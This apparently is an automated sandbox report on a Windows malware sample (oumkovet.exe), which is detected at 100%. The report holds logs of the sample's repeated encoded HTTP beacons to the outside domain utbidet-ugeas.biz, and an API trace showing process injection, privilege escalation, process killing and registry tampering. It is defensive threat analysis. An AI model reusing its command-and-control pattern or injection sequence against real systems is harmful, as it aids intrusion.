Sep 8, 2024 08:42:42.094120026 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:42 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?029A65481B9E65481BA865601B9A659B8712664C5D9B6588B398607E35A84B7129AA55661B Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.5	64991	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:42.230262995 CEST	169	OUT	GET /d/N?02719D2B6A759D2B6A439D036A719DF8F6F99E2F2C709DEBC273981D4443B3125841AD056A HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:42:42.706918001 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:42 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02719D2B6A759D2B6A439D036A719DF8F6F99E2F2C709DEBC273981D4443B3125841AD056A Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.5	64992	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:42.715025902 CEST	201	OUT	GET /d/N?02719D2B6A759D2B6A439D036A719DF8F6F99E2F2C709DEBC273981D4443B3125841AD056A HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:42:43.196842909 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:43 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02719D2B6A759D2B6A439D036A719DF8F6F99E2F2C709DEBC273981D4443B3125841AD056A Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.5	64994	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:44.495842934 CEST	169	OUT	GET /d/N?02B11815CCB51815CC83183DCCB118C650391B118AB018D564B31D23E283362CFE81283BCC HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:42:44.981064081 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:44 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02B11815CCB51815CC83183DCCB118C650391B118AB018D564B31D23E283362CFE81283BCC Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.5	64995	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:44.999213934 CEST	201	OUT	GET /d/N?02B11815CCB51815CC83183DCCB118C650391B118AB018D564B31D23E283362CFE81283BCC HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:42:45.538496971 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:45 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02B11815CCB51815CC83183DCCB118C650391B118AB018D564B31D23E283362CFE81283BCC Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.5	64997	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:45.679332972 CEST	169	OUT	GET /d/N?02AA0445D9AE0445D998046DD9AA0496452207419FAB048571A80173F7982A7CEB9A346BD9 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:42:46.164439917 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:46 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02AA0445D9AE0445D998046DD9AA0496452207419FAB048571A80173F7982A7CEB9A346BD9 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.5	64998	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:46.170352936 CEST	201	OUT	GET /d/N?02AA0445D9AE0445D998046DD9AA0496452207419FAB048571A80173F7982A7CEB9A346BD9 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:42:47.647735119 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:46 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02AA0445D9AE0445D998046DD9AA0496452207419FAB048571A80173F7982A7CEB9A346BD9 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Sep 8, 2024 08:42:47.647757053 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:46 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02AA0445D9AE0445D998046DD9AA0496452207419FAB048571A80173F7982A7CEB9A346BD9 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Sep 8, 2024 08:42:47.647934914 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:46 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02AA0445D9AE0445D998046DD9AA0496452207419FAB048571A80173F7982A7CEB9A346BD9 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Sep 8, 2024 08:42:47.648032904 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:46 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02AA0445D9AE0445D998046DD9AA0496452207419FAB048571A80173F7982A7CEB9A346BD9 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.5	65000	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:47.903433084 CEST	169	OUT	GET /d/N?025CCE9BE558CE9BE56ECEB3E55CCE4879D4CD9FA35DCE5B4D5ECBADCB6EE0A2D76CFEB5E5 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:42:48.395514965 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:48 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?025CCE9BE558CE9BE56ECEB3E55CCE4879D4CD9FA35DCE5B4D5ECBADCB6EE0A2D76CFEB5E5 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.5	65001	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:48.401412010 CEST	201	OUT	GET /d/N?025CCE9BE558CE9BE56ECEB3E55CCE4879D4CD9FA35DCE5B4D5ECBADCB6EE0A2D76CFEB5E5 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:42:48.883708954 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:48 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?025CCE9BE558CE9BE56ECEB3E55CCE4879D4CD9FA35DCE5B4D5ECBADCB6EE0A2D76CFEB5E5 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.5	65003	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:50.696814060 CEST	169	OUT	GET /d/N?029818745F9C18745FAA185C5F9818A7C3101B70199918B4F79A1D4271AA364D6DA8285A5F HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:42:51.198189020 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:51 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?029818745F9C18745FAA185C5F9818A7C3101B70199918B4F79A1D4271AA364D6DA8285A5F Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Target ID:	0
Start time:	02:39:37
Start date:	08/09/2024
Path:	C:\Users\user\Desktop\f3VrANv7Uw.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\f3VrANv7Uw.exe"
Imagebase:	0x400000
File size:	69'299 bytes
MD5 hash:	BEF0E497C009B94458441A8BCD24AF8A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:39:37
Start date:	08/09/2024
Path:	C:\Windows\SysWOW64\oumkovet.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\oumkovet.exe"
Imagebase:	0x400000
File size:	69'299 bytes
MD5 hash:	BEF0E497C009B94458441A8BCD24AF8A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	02:39:37
Start date:	08/09/2024
Path:	C:\Windows\SysWOW64\oumkovet.exe
Wow64 process (32bit):	true
Commandline:
Imagebase:	0x400000
File size:	69'299 bytes
MD5 hash:	BEF0E497C009B94458441A8BCD24AF8A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Function 00403A19 Relevance: 596.2, APIs: 287, Strings: 52, Instructions: 2982registrystringfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00403A27
GetVersionExA.KERNEL32(004120D0), ref: 00403A43
LoadLibraryA.KERNEL32(00407007), ref: 00403A74
GetProcAddress.KERNEL32(00000000,00407014), ref: 00403AA2
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00403ACC
GetCommandLineA.KERNEL32(00000104), ref: 00403AD4
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00403AF2
GetCurrentProcessId.KERNEL32 ref: 00403B09
Process32First.KERNEL32(?,?), ref: 00403B32
OpenProcess.KERNEL32(00100000,00000000,?), ref: 00403B6A
CloseHandle.KERNEL32(?,?,?), ref: 00403B7B
Process32Next.KERNEL32(?,?), ref: 00403B94
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00403BAC
CloseHandle.KERNEL32(00000000,000000FF), ref: 00403BB5
GetStartupInfoA.KERNEL32(?), ref: 00403BC2
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00403BE9
ExitProcess.KERNEL32(00000000), ref: 00403BF6
GetProcAddress.KERNEL32(00000000,CreateRemoteThread), ref: 00403C23
LoadLibraryA.KERNEL32(ntdll.dll,?,?,?,?,?,?,?,00000104), ref: 00403C86
GetProcAddress.KERNEL32(00000000,NtAllocateVirtualMemory), ref: 00403C96
GetProcAddress.KERNEL32(00000000,NtWriteVirtualMemory), ref: 00403CA6
GetProcAddress.KERNEL32(00000000,NtShutdownSystem), ref: 00403CB6
GetProcAddress.KERNEL32(00000000,RtlAdjustPrivilege), ref: 00403CC6
RtlAdjustPrivilege.NTDLL(00000014,00000001,00000000,?,?,?,?,?,00000000,NtAllocateVirtualMemory), ref: 00403CE7
GetProcAddress.KERNEL32(00000000,NtOpenProcessToken), ref: 00403D13
GetProcAddress.KERNEL32(00000000,NtQueryInformationToken), ref: 00403D2E
NtQueryInformationToken.NTDLL(?,00000002,00000000,00002000,?), ref: 00403D82
NtQueryInformationToken.NTDLL(?,00000001,00000000,00002000,?), ref: 00403DEC
CloseHandle.KERNEL32(?), ref: 00403E2B
GetProcAddress.KERNEL32(00000000,004070C4), ref: 00403E50
GetCurrentProcessId.KERNEL32(?,?,?,?,00000104), ref: 00403E7F
WSAStartup.WS2_32(00000002,?), ref: 00403E97
GetTickCount.KERNEL32 ref: 00403E9F
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00000104), ref: 00403EA6
GetCurrentThreadId.KERNEL32 ref: 00403EAD
LoadLibraryA.KERNEL32(rasapi32.dll,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 00403EDA
GetProcAddress.KERNEL32(00000000,RasEnumConnectionsA), ref: 00403F01
LoadLibraryA.KERNEL32(iphlpapi.dll), ref: 00403F34
GetProcAddress.KERNEL32(00000000,GetIpAddrTable), ref: 00403F5B
LoadLibraryA.KERNEL32(wininet.dll), ref: 00403FD9
GetProcAddress.KERNEL32(00000000,InternetOpenA), ref: 00404042
GetProcAddress.KERNEL32(00000000,InternetOpenUrlA), ref: 00404052
GetProcAddress.KERNEL32(00000000,InternetReadFile), ref: 00404062
GetProcAddress.KERNEL32(00000000,InternetSetOptionA), ref: 00404072
GetProcAddress.KERNEL32(00000000,InternetCloseHandle), ref: 00404082
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00404347
SetFilePointer.KERNEL32(00000000,000000F0,00000000,00000002,00000000), ref: 00404366
ReadFile.KERNEL32(?,004120C0,00000010,?,00000000,?,?,00000002,00000000), ref: 00404386
CloseHandle.KERNEL32(?,?,004120C0,00000010,?,00000000,?,?,00000002,00000000), ref: 00404392
lstrcmpiA.KERNEL32(00000000,007F7F98), ref: 0040445F
wsprintfA.USER32 ref: 004044BC
CreateMutexA.KERNEL32(0040F4FC,00000001,qnd_b__-13,?,?,?,?,?,?,?,?,00000000), ref: 004044D0
GetLastError.KERNEL32(qnd_b__-13,?,?,?,?,qnd_b__-13,?,?,?,?,?,?,?,?,00000000), ref: 004044E4
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00404506
RegDeleteValueA.ADVAPI32(00000000,ShellRegEx,?,?,?,?,?,?,qnd_b__-13,?,?,?,?,qnd_b__-13), ref: 00404532
RegCloseKey.ADVAPI32(?,ShellRegEx,?,?,?,?,?,?,qnd_b__-13,?,?,?,?,qnd_b__-13), ref: 0040453E
GetCurrentProcessId.KERNEL32(?,?,?,?,qnd_b__-13,?,?,?,?,qnd_b__-13), ref: 0040456E
Process32First.KERNEL32(00000000,?), ref: 0040458C
lstrcmpiA.KERNEL32(00000000,007F7F98), ref: 004045C1
OpenProcess.KERNEL32(00100201,00000000,?), ref: 004045DE
Process32Next.KERNEL32(00000000,?), ref: 00404603
CloseHandle.KERNEL32(00000000), ref: 00404613
SetPriorityClass.KERNEL32(?,00000040), ref: 00404633
TerminateProcess.KERNEL32(?,00000000), ref: 00404658
WaitForSingleObject.KERNEL32(007F7F99,00001388), ref: 0040468F
CloseHandle.KERNEL32(007F7F99,00001388), ref: 00404698
SetFileAttributesA.KERNEL32(?,00000080), ref: 004046BC
DeleteFileA.KERNEL32(?,00000080), ref: 004046C5
RegOpenKeyExA.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00020019,?,?,?,?,?,?,?,?,qnd_b__-13), ref: 004046F4
RegCreateKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00000000,00000000,000F003F,0040F4FC,?,00000000), ref: 0040472B
RegQueryValueExA.ADVAPI32(?,Default Flags,00000000,00000000,00412170,?,?,?,0040F4FC,?,00000000), ref: 00404766
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,00412170,00000012,?,?,?,?,?,?,0040F4FC,?,00000000), ref: 00404790
RegCloseKey.ADVAPI32(?,00000012,?,?,?,?,?,?,0040F4FC,?,00000000), ref: 004047A1
RegDeleteKeyA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy), ref: 004047BA
RegCloseKey.ADVAPI32(?,?,?,?,0040F4FC,?,00000000), ref: 004047CC
ExitProcess.KERNEL32(00000000,?,?,?,qnd_b__-13,?,?,?,?,qnd_b__-13), ref: 004047E2
